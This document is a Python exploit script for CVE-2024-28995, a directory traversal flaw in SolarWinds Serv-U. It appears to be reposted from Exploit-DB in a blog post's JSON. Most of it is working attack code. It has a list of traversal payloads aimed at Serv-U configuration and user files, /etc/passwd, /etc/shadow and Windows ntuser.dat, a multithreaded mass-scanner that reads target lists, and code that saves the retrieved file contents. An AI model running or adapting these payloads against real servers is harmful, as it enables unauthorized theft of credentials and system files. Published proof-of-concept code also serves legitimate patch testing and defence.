\n# Exploit Title: SolarWinds Serv-U 15.4.2 HF1 – Directory Traversal
\n
# Date: 2025-05-28
\n
# Exploit Author: @ibrahimsql
\n
# Exploit Author’s github: https:\/\/github.com\/ibrahimsql
\n
# Vendor Homepage: https:\/\/www.solarwinds.com\/serv-u-managed-file-transfer-server
\n
# Software Link: https:\/\/www.solarwinds.com\/serv-u-managed-file-transfer-server\/registration
\n
# Version: <= 15.4.2 HF1\n
# Tested on: Kali Linux 2024.1
\n
# CVE: CVE-2024-28995
\n
# Description:
\n
# SolarWinds Serv-U was susceptible to a directory traversal vulnerability that would allow
\n
# attackers to read sensitive files on the host machine. This exploit demonstrates multiple
\n
# path traversal techniques to access Serv-U log files and other system files on both
\n
# Windows and Linux systems.
\n
#
\n
# References:
\n
# – https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-28995
\n
# – https:\/\/www.rapid7.com\/blog\/post\/2024\/06\/11\/etr-cve-2024-28995-trivially-exploitable-information-disclosure-vulnerability-in-solarwinds-serv-u\/
\n
# – https:\/\/thehackernews.com\/2024\/06\/solarwinds-serv-u-vulnerability-under.html<\/p>\n
# Requirements: urllib3>=1.26.0 , colorama>=0.4.4 , requests>=2.25.0<\/p>\n
#!\/usr\/bin\/env python3
\n
# -*- coding: utf-8 -*-<\/p>\n
import argparse
\n
import concurrent.futures
\n
import json
\n
import os
\n
import re
\n
import sys
\n
import time
\n
from concurrent.futures import ThreadPoolExecutor, as_completed
\n
from urllib.parse import urlparse<\/p>\n
import requests
\n
from colorama import Fore, Back, Style, init<\/p>\n
# Initialize colorama
\n
init(autoreset=True)<\/p>\n
# Disable SSL warnings
\n
try:
\n
import urllib3
\n
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
\n
except ImportError:
\n
pass<\/p>\n
BASE_DIR = os.path.dirname(os.path.abspath(__file__))<\/p>\n
BANNER = rf”’
\n
{Fore.CYAN}
\n
______ _______ ____ ___ ____ _ _ ____ ___ ___ ___ ____
\n
\/ ___\\ \\ \/ \/ ____| |___ \\ \/ _ \\___ \\| || | |___ \\( _ )\/ _ \\ \/ _ \\| ___|
\n
| | \\ \\ \/ \/| _| _____ __) | | | |__) | || |_ _____ __) \/ _ \\ (_) | (_) |___ \\
\n
| |___ \\ V \/ | |__|_____\/ __\/| |_| \/ __\/|__ _|_____\/ __\/ (_) \\__, |\\__, |___) |
\n
\\____| \\_\/ |_____| |_____|\\___\/_____| |_| |_____\\___\/ \/_\/ \/_\/|____\/
\n
{Fore.YELLOW}
\n
SolarWinds Serv-U Directory Traversal Exploit
\n
{Fore.RED} CVE-2024-28995 by @ibrahimsql
\n
{Style.RESET_ALL}
\n
”’<\/p>\n
class ScanResult:
\n
def __init__(self, url, is_vulnerable=False, version=None, os_type=None, file_content=None, path=None):
\n
self.url = url
\n
self.is_vulnerable = is_vulnerable
\n
self.version = version
\n
self.os_type = os_type
\n
self.file_content = file_content
\n
self.path = path
\n
self.timestamp = time.strftime(“%Y-%m-%d %H:%M:%S”)<\/p>\n
def to_dict(self):
\n
return {
\n
“url”: self.url,
\n
“is_vulnerable”: self.is_vulnerable,
\n
“version”: self.version,
\n
“os_type”: self.os_type,
\n
“path”: self.path,
\n
“timestamp”: self.timestamp
\n
}<\/p>\n
def print_banner():
\n
print(BANNER)<\/p>\n
def normalize_url(url):
\n
“””Normalize URL to ensure it has http\/https protocol.”””
\n
if not url.startswith(‘http’):
\n
url = f”https:\/\/{url}”
\n
return url.rstrip(‘\/’)<\/p>\n
def extract_server_version(headers):
\n
“””Extract Serv-U version from server headers if available.”””
\n
if ‘Server’ in headers:
\n
server_header = headers[‘Server’]
\n
# Look for Serv-U version pattern
\n
match = re.search(r’Serv-U\/(\\d+\\.\\d+\\.\\d+)’, server_header)
\n
if match:
\n
return match.group(1)
\n
return None<\/p>\n
def is_vulnerable_version(version):
\n
“””Check if the detected version is vulnerable (15.4.2 HF1 or lower).”””
\n
if not version:
\n
return None<\/p>\n
try:
\n
# Split version numbers
\n
major, minor, patch = map(int, version.split(‘.’))<\/p>\n
# Vulnerable if lower than 15.4.2 HF2
\n
if major < 15:\n
return True
\n
elif major == 15:
\n
if minor < 4:\n
return True
\n
elif minor == 4:
\n
if patch <= 2: # We're assuming patch 2 is 15.4.2 HF1 which is vulnerable\n
return True
\n
except:
\n
pass<\/p>\n
return False<\/p>\n
def get_request(url, timeout=15):
\n
“””Make a GET request to the specified URL.”””
\n
try:
\n
response = requests.get(url, verify=False, timeout=timeout, allow_redirects=False)
\n
return response
\n
except requests.RequestException as e:
\n
return None<\/p>\n
def detect_os_type(content):
\n
“””Detect the operating system type from the file content.”””
\n
if any(indicator in content for indicator in [“root:”, “bin:x:”, “daemon:”, “\/etc\/”, “\/home\/”, “\/var\/”]):
\n
return “Linux”
\n
elif any(indicator in content for indicator in [“[fonts]”, “[extensions]”, “[Mail]”, “Windows”, “ProgramData”, “Program Files”]):
\n
return “Windows”
\n
return None<\/p>\n
def get_default_payloads():
\n
“””Return a list of directory traversal payloads specific to CVE-2024-28995.”””
\n
return [
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# Windows payloads – Serv-U specific files
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/&InternalFile=Serv-U-StartupLog.txt”, “name”: “Serv-U Startup Log”},
\n
{“path”: “\/?InternalDir=\/..\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/^&InternalFile=Serv-U-StartupLog.txt”, “name”: “Serv-U Startup Log Alt”},
\n
{“path”: “\/?InternalDir=\\\\..\\\\..\\\\..\\\\..\\\\ProgramData\\\\RhinoSoft\\\\Serv-U\\\\&InternalFile=Serv-U-StartupLog.txt”, “name”: “Serv-U Startup Log Alt2”},
\n
{“path”: “\/?InternalDir=..\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/&InternalFile=Serv-U-StartupLog.txt”, “name”: “Serv-U Startup Log Alt3”},
\n
{“path”: “\/?InternalDir=..\/..\/..\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/&InternalFile=Serv-U-StartupLog.txt”, “name”: “Serv-U Startup Log Deep”},<\/p>\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/&InternalFile=ServUStartupLog.txt”, “name”: “Serv-U Startup Log Alt4”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/&InternalFile=Serv-U.Log”, “name”: “Serv-U Log”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/&InternalFile=ServULog.txt”, “name”: “Serv-U Log Alt”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/&InternalFile=ServUErrorLog.txt”, “name”: “Serv-U Error Log”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/&InternalFile=Serv-U-ErrorLog.txt”, “name”: “Serv-U Error Log Alt”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/&InternalFile=Serv-U.ini”, “name”: “Serv-U Config”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/&InternalFile=ServUAdmin.ini”, “name”: “Serv-U Admin Config”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/Users\/&InternalFile=Users.txt”, “name”: “Serv-U Users”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/ProgramData\/RhinoSoft\/Serv-U\/Users\/&InternalFile=UserAccounts.txt”, “name”: “Serv-U User Accounts”},<\/p>\n
# Verify Windows with various system files
\n
{“path”: “\/?InternalDir=\/..\/..\/..\/..\/windows&InternalFile=win.ini”, “name”: “Windows ini”},
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{“path”: “\/?InternalDir=\\\\..\\\\..\\\\..\\\\..\\\\windows&InternalFile=win.ini”, “name”: “Windows ini Alt”},
\n
{“path”: “\/?InternalDir=..\/..\/..\/..\/windows&InternalFile=win.ini”, “name”: “Windows ini Alt2”},
\n
{“path”: “\/?InternalDir=..\/..\/..\/..\/..\/..\/windows&InternalFile=win.ini”, “name”: “Windows ini Deep”},
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{“path”: “\/?InternalDir=\/.\/..\/..\/..\/Windows\/system.ini”, “name”: “Windows system.ini”},
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{“path”: “\/?InternalDir=\/.\/..\/..\/..\/Windows\/System32\/&InternalFile=drivers.ini”, “name”: “Windows drivers.ini”},
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{“path”: “\/?InternalDir=\/.\/..\/..\/..\/Windows\/System32\/drivers\/etc\/&InternalFile=hosts”, “name”: “Windows hosts”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/Windows\/System32\/&InternalFile=config.nt”, “name”: “Windows config.nt”},
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{“path”: “\/?InternalDir=\/.\/..\/..\/..\/Windows\/System32\/&InternalFile=ntuser.dat”, “name”: “Windows ntuser.dat”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/Windows\/boot.ini”, “name”: “Windows boot.ini”},<\/p>\n
# Verify Linux with various system files
\n
{“path”: “\/?InternalDir=\\\\..\\\\..\\\\..\\\\..\\\\etc&InternalFile=passwd”, “name”: “Linux passwd”},
\n
{“path”: “\/?InternalDir=\/..\/..\/..\/..\/etc^&InternalFile=passwd”, “name”: “Linux passwd Alt”},
\n
{“path”: “\/?InternalDir=\\\\..\\\\..\\\\..\\\\..\\\\etc\/passwd”, “name”: “Linux passwd Alt2”},
\n
{“path”: “\/?InternalDir=..\/..\/..\/..\/etc&InternalFile=passwd”, “name”: “Linux passwd Alt3”},
\n
{“path”: “\/?InternalDir=..\/..\/..\/..\/..\/..\/etc&InternalFile=passwd”, “name”: “Linux passwd Deep”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/etc\/&InternalFile=shadow”, “name”: “Linux shadow”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/etc\/&InternalFile=hosts”, “name”: “Linux hosts”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/etc\/&InternalFile=hostname”, “name”: “Linux hostname”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/etc\/&InternalFile=issue”, “name”: “Linux issue”},
\n
{“path”: “\/?InternalDir=\/.\/..\/..\/..\/etc\/&InternalFile=os-release”, “name”: “Linux os-release”}
\n
]<\/p>\n
def create_custom_payload(directory, filename):
\n
“””Create a custom payload with the specified directory and filename.”””
\n
# Try both encoding styles
\n
payloads = [
\n
{“path”: f”\/?InternalDir=\/.\/..\/..\/..\/{directory}&InternalFile={filename}”, “name”: f”Custom {filename}”},
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{“path”: f”\/?InternalDir=\/..\/..\/..\/..\/{directory}^&InternalFile={filename}”, “name”: f”Custom {filename} Alt”},
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{“path”: f”\/?InternalDir=\\\\..\\\\..\\\\..\\\\..\\\\{directory}&InternalFile={filename}”, “name”: f”Custom {filename} Alt2″}
\n
]
\n
return payloads<\/p>\n
def load_wordlist(wordlist_path):
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“””Load custom paths from a wordlist file.”””
\n
payloads = []
\n
try:
\n
with open(wordlist_path, ‘r’) as f:
\n
for line in f:
\n
line = line.strip()
\n
if line and not line.startswith(‘#’):
\n
# Check if the line contains a directory and file separated by a delimiter
\n
if ‘:’ in line:
\n
directory, filename = line.split(‘:’, 1)
\n
payloads.extend(create_custom_payload(directory, filename))
\n
else:
\n
# Assume it’s a complete path
\n
payloads.append({“path”: line, “name”: f”Wordlist: {line[:20]}…”})
\n
return payloads
\n
except Exception as e:
\n
print(f”{Fore.RED}[!] Error loading wordlist: {e}{Style.RESET_ALL}”)
\n
return []<\/p>\n
def scan_target(url, custom_payloads=None):
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“””Scan a target URL for the CVE-2024-28995 vulnerability.”””
\n
url = normalize_url(url)
\n
result = ScanResult(url)<\/p>\n
# Try to get server version first
\n
try:
\n
response = get_request(url)
\n
if response and response.headers:
\n
result.version = extract_server_version(response.headers)
\n
vulnerable_version = is_vulnerable_version(result.version)<\/p>\n
if vulnerable_version is False:
\n
print(f”{Fore.YELLOW}[*] {url} – Serv-U version {result.version} appears to be patched{Style.RESET_ALL}”)
\n
# Still continue scanning as version detection may not be reliable
\n
except Exception as e:
\n
pass<\/p>\n
# Get all payloads to try
\n
payloads = get_default_payloads()
\n
if custom_payloads:
\n
payloads.extend(custom_payloads)<\/p>\n
# Try each payload
\n
for payload in payloads:
\n
full_url = f”{url}{payload[‘path’]}”
\n
try:
\n
print(f”{Fore.BLUE}[*] Trying: {payload[‘name’]} on {url}{Style.RESET_ALL}”)
\n
response = get_request(full_url)<\/p>\n
if response and response.status_code == 200:
\n
content = response.text<\/p>\n
# Check if the response contains meaningful content
\n
if len(content) > 100: # Arbitrary threshold to filter out error pages
\n
os_type = detect_os_type(content)
\n
if os_type:
\n
result.is_vulnerable = True
\n
result.os_type = os_type
\n
result.file_content = content
\n
result.path = payload[‘path’]<\/p>\n
print(f”{Fore.GREEN}[+] {Fore.RED}VULNERABLE: {url} – {payload[‘name’]} – Detected {os_type} system{Style.RESET_ALL}”)<\/p>\n
# Successful match – no need to try more payloads
\n
return result
\n
except Exception as e:
\n
continue<\/p>\n
if not result.is_vulnerable:
\n
print(f”{Fore.RED}[-] Not vulnerable: {url}{Style.RESET_ALL}”)<\/p>\n
return result<\/p>\n
def scan_multiple_targets(targets, custom_dir=None, custom_file=None, wordlist=None):
\n
“””Scan multiple targets using thread pool.”””
\n
results = []
\n
custom_payloads = []<\/p>\n
# Add custom payloads if specified
\n
if custom_dir and custom_file:
\n
custom_payloads.extend(create_custom_payload(custom_dir, custom_file))<\/p>\n
# Add wordlist payloads if specified
\n
if wordlist:
\n
custom_payloads.extend(load_wordlist(wordlist))<\/p>\n
print(f”{Fore.CYAN}[*] Starting scan of {len(targets)} targets with {len(custom_payloads) + len(get_default_payloads())} payloads{Style.RESET_ALL}”)<\/p>\n
# Use fixed thread count of 10
\n
with ThreadPoolExecutor(max_workers=10) as executor:
\n
future_to_url = {executor.submit(scan_target, target, custom_payloads): target for target in targets}<\/p>\n
for future in as_completed(future_to_url):
\n
try:
\n
result = future.result()
\n
results.append(result)
\n
except Exception as e:
\n
print(f”{Fore.RED}[!] Error scanning {future_to_url[future]}: {e}{Style.RESET_ALL}”)<\/p>\n
return results<\/p>\n
def save_results(results, output_file):
\n
“””Save scan results to a JSON file.”””
\n
output_data = [result.to_dict() for result in results]<\/p>\n
try:
\n
with open(output_file, ‘w’) as f:
\n
json.dump(output_data, f, indent=2)
\n
print(f”{Fore.GREEN}[+] Results saved to {output_file}{Style.RESET_ALL}”)
\n
except Exception as e:
\n
print(f”{Fore.RED}[!] Error saving results: {e}{Style.RESET_ALL}”)<\/p>\n
def save_vulnerable_content(result, output_dir):
\n
“””Save the vulnerable file content to a file.”””
\n
if not os.path.exists(output_dir):
\n
os.makedirs(output_dir)<\/p>\n
# Create a safe filename from the URL
\n
parsed_url = urlparse(result.url)
\n
safe_filename = f”{parsed_url.netloc.replace(‘:’, ‘_’)}.txt”
\n
output_path = os.path.join(output_dir, safe_filename)<\/p>\n
try:
\n
with open(output_path, ‘w’) as f:
\n
f.write(f”URL: {result.url}\\n”)
\n
f.write(f”Path: {result.path}\\n”)
\n
f.write(f”Version: {result.version or ‘Unknown’}\\n”)
\n
f.write(f”OS Type: {result.os_type or ‘Unknown’}\\n”)
\n
f.write(f”Timestamp: {result.timestamp}\\n”)
\n
f.write(“\\n— File Content —\\n”)
\n
f.write(result.file_content)<\/p>\n
print(f”{Fore.GREEN}[+] Saved vulnerable content to {output_path}{Style.RESET_ALL}”)
\n
except Exception as e:
\n
print(f”{Fore.RED}[!] Error saving content: {e}{Style.RESET_ALL}”)<\/p>\n
def main():
\n
parser = argparse.ArgumentParser(description=”CVE-2024-28995 – SolarWinds Serv-U Directory Traversal Scanner”)
\n
parser.add_argument(“-u”, “–url”, help=”Target URL”)
\n
parser.add_argument(“-f”, “–file”, help=”File containing a list of URLs to scan”)
\n
parser.add_argument(“-d”, “–dir”, help=”Custom directory path to read (e.g., ProgramData\/RhinoSoft\/Serv-U\/)”)
\n
parser.add_argument(“-n”, “–filename”, help=”Custom filename to read (e.g., Serv-U-StartupLog.txt)”)
\n
parser.add_argument(“-w”, “–wordlist”, help=”Path to wordlist containing custom paths to try”)
\n
parser.add_argument(“-o”, “–output”, help=”Output JSON file to save results”)<\/p>\n
args = parser.parse_args()<\/p>\n
print_banner()<\/p>\n
# Validate arguments
\n
if not args.url and not args.file:
\n
parser.print_help()
\n
print(f”\\n{Fore.RED}[!] Error: Either -u\/–url or -f\/–file is required{Style.RESET_ALL}”)
\n
sys.exit(1)<\/p>\n
targets = []<\/p>\n
# Get targets
\n
if args.url:
\n
targets.append(args.url)<\/p>\n
if args.file:
\n
try:
\n
with open(args.file, “r”) as f:
\n
targets.extend([line.strip() for line in f.readlines() if line.strip()])
\n
except Exception as e:
\n
print(f”{Fore.RED}[!] Error reading file {args.file}: {e}{Style.RESET_ALL}”)
\n
sys.exit(1)<\/p>\n
# Deduplicate targets
\n
targets = list(set(targets))<\/p>\n
if not targets:
\n
print(f”{Fore.RED}[!] No valid targets provided.{Style.RESET_ALL}”)
\n
sys.exit(1)<\/p>\n
print(f”{Fore.CYAN}[*] Loaded {len(targets)} target(s){Style.RESET_ALL}”)<\/p>\n
# Set output file
\n
output_file = args.output or f”cve_2024_28995_results_{time.strftime(‘%Y%m%d_%H%M%S’)}.json”<\/p>\n
# Start scanning
\n
results = scan_multiple_targets(targets, args.dir, args.filename, args.wordlist)<\/p>\n
# Process results
\n
vulnerable_count = sum(1 for result in results if result.is_vulnerable)<\/p>\n
print(f”\\n{Fore.CYAN}[*] Scan Summary:{Style.RESET_ALL}”)
\n
print(f”{Fore.CYAN}[*] Total targets: {len(results)}{Style.RESET_ALL}”)
\n
print(f”{Fore.GREEN if vulnerable_count > 0 else Fore.RED}[*] Vulnerable targets: {vulnerable_count}{Style.RESET_ALL}”)<\/p>\n
# Save results
\n
save_results(results, output_file)<\/p>\n
# Save vulnerable file contents
\n
for result in results:
\n
if result.is_vulnerable and result.file_content:
\n
save_vulnerable_content(result, “vulnerable_files”)<\/p>\n
print(f”\\n{Fore.GREEN}[+] Scan completed successfully!{Style.RESET_ALL}”)<\/p>\n
if __name__ == “__main__”:
\n
try:
\n
main()
\n
except KeyboardInterrupt:
\n
print(f”\\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}”)
\n
sys.exit(0)
\n
except Exception as e:
\n
print(f”\\n{Fore.RED}[!] An error occurred: {e}{Style.RESET_ALL}”)
\n
sys.exit(1)\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title SolarWinds Serv-U 15.4.2 HF1 – Directory Traversal Exploit ID EDB-ID:52311 Type exploitdb Published 2025-05-29T00:00:00 Modified 2025-05-29T00:00:00 CVSS Information CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,81,12,40,15,13,7,11,5],"class_list":["post-6085","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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